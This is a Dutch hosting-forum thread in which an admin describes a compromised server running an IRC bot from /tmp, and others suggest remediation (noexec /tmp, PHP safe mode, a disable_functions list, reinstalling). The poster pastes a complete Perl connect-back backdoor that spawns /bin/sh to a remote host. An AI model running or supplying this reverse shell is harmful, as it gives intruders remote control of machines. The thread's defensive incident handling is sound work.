Onderwerp: Het zoveelste *zucht* pl/txt tmp probleem.

(waarschijnlijk het 1000ste topic dat mensen hierover starten maar goed...)

Mijn beste dames en heren,

Helaas moest ik gisteren constateren dat er een 2 letterig .pl scriptje in mijn /tmp stond, zag er redelijk verdacht uit, gekeken en ge-delete.
Met top gekeken of apache geen verdachte pearl opdracht aan het uitvoeren was, mmniet dus.. toch maar even een extra backupje getrokken, goed vanaf gekomen, dacht ik.

Vanochtend: Top laat zien dat apache 99% cpu aan het trekken is met pearl, oh nee he

Meteen in de apache logs gezocht naar verdachte dingen, lol.txt was binnen gehaalt en in ./var/tmp/.../.../.../.map/lol.txt gezet.

Dit is de inhoud van lol.txt -> http://home.wanadoo.nl/r.mens/lol.htm


Wat ik al gedaan heb na wat zoeken op dit forum en directadmin forim:
- in de hosts.deny alles van ssh en telnet deny'en behalve mijn eigen ip en ip van een windows dedi van me (was al vanaf begin af aan dat server draait).
- Die lol.txt file ge-delete
- Safe mode voor alle domeinen aan gezet
- chkrootkit en rootkithunter ge-draait (gaven geen van 2en iets verdachts).
- disable_functions in php: exec,system,pcntl_exec,parse_ini_file,show_source, curl_exe,shell_exec,passthru,escapeshellarg,escape shellcmd,proc_close,proc_get_status,proc_nice,proc _open,proc_terminate,apache_note,apache_setenv,clo selog,debugger_off,debugger_on,define_syslog_varia bles,openlog,syslog
- nogmaals backuppen natuurlijk

Daarna leek apache weer normaal te functioneren, alle indexes van de sites zijn ook nog intact en ik zie niets verdachts.

Jullie nog enig advies over hoe nog meer te controleren? (openstaande poorten en runnende processen zeggen mij 90% van de tijd niets.. ben geen linux expert en degene die normaal het server onderhoud voor zijn rekening neemt is op vakantie).

En, ik voel het al aankomen... format en re-install de enige optie om 100% clean te worden?

Alvast bedankt.

En, ik voel het al aankomen... format en re-install de enige optie om 100% clean te worden?

Juist
Het is de enige manier om zeker te zijn dat alles weg is.

Wat je ook kunt doen is gezellig hun irc channel joinen waar hun bot connect. En daar vragen hoe ze zijn binnen gekomen. Heb dat ook een keer met succes gedaan en waren zeer behulpzaam met de uitleg hoe ze waren binnen gekomen.

Of zoals elke andere hoster zal doen, is de tmp map beveiligen. Dat vanuit de tmp map geen programmas gestart mogen worden. Had tijdje terug ook een irc server lopen in de tmp map, nudat ik het beveiligd heb, kunnne ze installen wat ze willen, het wil alleen niet runnen

Oorspronkelijk geplaatst door Thafusion

Wat je ook kunt doen is gezellig hun irc channel joinen waar hun bot connect. En daar vragen hoe ze zijn binnen gekomen. Heb dat ook een keer met succes gedaan en waren zeer behulpzaam met de uitleg hoe ze waren binnen gekomen.

Meen je dat serieus? Anyway, Die is best wel helemaal leeg.. heb ik gemerkt

Heb overigens even bij top gekeken, en zie zelf niets verdachts staan behalve 'dbus-deamon' en 'mingetty', weet iemand hier meer over? (screendump van top: http://home.wanadoo.nl/r.mens/top.JPG)
ps. gzip = backup die loopt

--------------------------

Oorspronkelijk geplaatst door IceHosting

Of zoals elke andere hoster zal doen, is de tmp map beveiligen. Dat vanuit de tmp map geen programmas gestart mogen worden. Had tijdje terug ook een irc server lopen in de tmp map, nudat ik het beveiligd heb, kunnne ze installen wat ze willen, het wil alleen niet runnen

Inderdaad, dat was nog niet gedaan.. komt helaas altijd achteraf

Kan iemand by the way aan de hand van deze info opmaken of het alleen een IRC server was of toch wel degelijk ge-root?.. van defacing is nog geen geval en ik zie ook niemand anders dan mezelf op de shell, ssh.

Juist ff die kerel zijn channel gejoint zat een bot of 6 is weer een of andere kido.
Duurde niet lang vooralleer ik gebanned was ;-).

man dbus-daemon en man mingetty

Eerste is een systeembus waarover applicaties met elkaar kunnen kletsen. Niet echt nuttig op een server volgens mij maar goed, waarschijnlijk onderdeel van een standaard distributie installatie.

Tweede is een terminal voorziening.

Beide zijn geen schrikbarende services.

Duh, wat een crappy irc bot. Voor root-compromise hoef je niet bang te zijn (althans niet via die bot).
Alles kan draaien in user-space en er zijn helemaal geen root-rechten nodig voor dat botje.

Gewoon zorgen dat users niks op je systeem kunnen starten. Het beveiligen (non-executable maken) van je /tmp lost 0,nada op.

Gelukkig dan maar

Heb tmp nu met noexec gemount en wget mag nu alleen door root gebruikt worden, zou een hoop moeten schelen.

Vond ook nog dit pl scriptje, dat ik direct verwijderd heb overigens:

Code:

#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] <Port>\n";
exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print "[*] Spawning Shell\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit;
}
print "[*] Datached\n\n";

Zo te zien probeert het een poort open te zetten, toch maar format denk ik...

Vaak misbruikt men het feit dat je een ircbot draait..... je server wordt een dumpplaats voor files vaak. Maar zolang je niet precies weet wat die bot allemaal deed is een reformat/reinstall het beste. Je weet ook niet hoe men is binnen gekomen. Die bot weghalen dicht je origineel lek niet.

Als je dat allemaal kunt vinden en zeker weet dat alles schoon is, dan kun je met je huidige install verder.

Ik zou maar eens de boel afsluiten en gaan spitten in alle logfiles die je vinden kunt.

Als het iemand lukt om dit script te laten connecten (geen fatsoenlijke firewall oid) dan ben je ver het haasje.

Dit is trouwens ruim voldoende om aangifte van te doen. Zeker als je ergens middels een log kunt aantonen dat het programma gestart (scriptkiddies willen hun eigen ip nog wel eens gebruiken bij remote shells). Als je log niet gewist is, zou ik zeker eens gaan zoeken.

Maak een image van die bak en reformat de zooi. Zet er een veilig geconfigureerd os op.

Uhhh, een image maken, formateren en dan image terugplaatsen?? Daar los je toch niets mee op..

Oorspronkelijk geplaatst door IceHosting

Of zoals elke andere hoster zal doen, is de tmp map beveiligen. Dat vanuit de tmp map geen programmas gestart mogen worden. Had tijdje terug ook een irc server lopen in de tmp map, nudat ik het beveiligd heb, kunnne ze installen wat ze willen, het wil alleen niet runnen

Wat is de beste manier om dit te doen?

Nee, /tmp mounten met noexec

safe mode aanzetten, noexec op /tmp.

Wat ook erg goed werkt is wget 700 chmodden. Want dat wordt meestal door Apache gebruikt om de zooi mee te downloaden (als je site in safe-mode draait mogen ze dit volgens mij sowieso niet uitvoeren).

Daarnaast kun je met mod_security nog het e.e.a beveiligen.

Een reinstall lost weinig op trouwens, als je daarna dezelfde sites installeert met dezelfde lekken, dan hebben ze je zo weer gevonden.